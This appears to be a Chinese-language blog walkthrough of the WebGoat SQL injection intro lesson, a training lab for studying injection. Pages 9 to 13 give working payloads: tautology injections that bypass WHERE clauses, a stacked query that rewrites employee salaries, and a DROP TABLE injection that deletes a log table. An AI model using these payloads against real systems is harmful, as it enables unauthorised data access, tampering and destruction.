WebGoat (A1) SQL Injection (intro)

目录

习题通关

第2页

第3页

第4页

第5页

第9页

第10页

第11页

第12页

第13页

课程脑图

SQL基础

SQL注入基础


习题通关

提醒,本课输入的所有sql语句会真实地执行,所以误删误改了数据可能造成没有办法继续正确答题,需要reset lesson。

比如我在第2页的时候看错题目了,把Bob那行数据删除了,导致后来反应过来是要查看数据的时候,明明输入了正确的查询语句,却一直报invalid cursor state: identifier cursor not
positioned on row in UPDATE, DELETE, SET, or GET statement……后来reset lesson才好(。ì _ í。)

第2页

这关要求查询Bob Franco的department。查询要用SELECT,正确的查询语句是:

SELECT department FROM employees WHERE first_name='Bob' and last_name='Franco';

WebGoat (A1) SQL Injection (intro)_第1张图片

或者由于这题的表里面只有一个人叫Bob,因此也可以用下面这个查询语句

SELECT department FROM employees WHERE first_name='Bob'

WebGoat (A1) SQL Injection (intro)_第2张图片

第3页

这关要求把Tobi Barnett的department改成Sales。修改数据内容用UPDATE,正确的SQL语句是:

UPDATE employees SET department='Sales' WHERE first_name='Tobi' and last_name='Barnett'

WebGoat (A1) SQL Injection (intro)_第3张图片

第4页

这关要求employees表加一列。修改表用ALTER TABLE,正确的SQL语句是:

ALTER TABLE employees ADD phone varchar(20)

第5页

这关要求给UnauthorizedUser修改表的权限。赋予权限需要用GRANT,正确的SQL语句是:

GRANT ALTER TABLE TO UnauthorizedUser

第9页

这关尝试字符型SQL注入,最后组成下面两种SQL语句都可以:

SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'

SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1' = '1'

WebGoat (A1) SQL Injection (intro)_第4张图片

第10页

这关尝试数字型SQL注入,如下图这样填写(注入点在User_Id),组成如下的SQL语句:

SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or 1=1

WebGoat (A1) SQL Injection (intro)_第5张图片

关于注入点为什么在User_Id:

一开始我以为注入点在Login_Count,想要用-- 来注释掉后面的内容,但是没有成功。

我去github查看这节课的源代码,发现这课用到了SQL预编译语句,但是只对Login_Count做了防护,User_Id还是直接带入参数值。

WebGoat (A1) SQL Injection (intro)_第6张图片

第11页

这关是通过字符型SQL注入破坏数据机密性,也就是查看非授权数据。利用OR,如下图所示:

Name框填 1

TAN框填 1' or '1'='1

WebGoat (A1) SQL Injection (intro)_第7张图片

第12页

这关利用查询链(分号;)破坏数据完整性,也就是修改非授权数据。两个框都可以是注入点,因此有两种解法:

Name框:Smith

TAN框:3SL99A';UPDATE employees SET salary=200000 WHERE last_name='Smith  

或者

Name框:Smith';UPDATE employees SET salary=200000 WHERE last_name='Smith';-- ss

TAN框不填

注意:经尝试,查询链第一个语句没有输入正确的参数也并不影响第二个语句的执行。也就是说Name框可以不填Smith,而是其他字符,TAN框中TAN的部分也可以不输入正确的TAN。

WebGoat (A1) SQL Injection (intro)_第8张图片

第13页

这关要利用字符型注入来破坏可用性,也就是让原本被授权的人无法读取或操作某些文件。这关要求把access_log整个删除,因此用DROP TABLE,而不是TRUNCATE:

1';DROP TABLE access_log;-- ss

WebGoat (A1) SQL Injection (intro)_第9张图片

课程脑图

本课1-5页是SQL基础,6-13页是SQL注入基础。下面按照这个分类画了两张脑图。

SQL基础

WebGoat (A1) SQL Injection (intro)_第10张图片

SQL注入基础

WebGoat (A1) SQL Injection (intro)_第11张图片

 

你可能感兴趣的:(WebGoat,#,注入,网络安全,sql,java,数据库)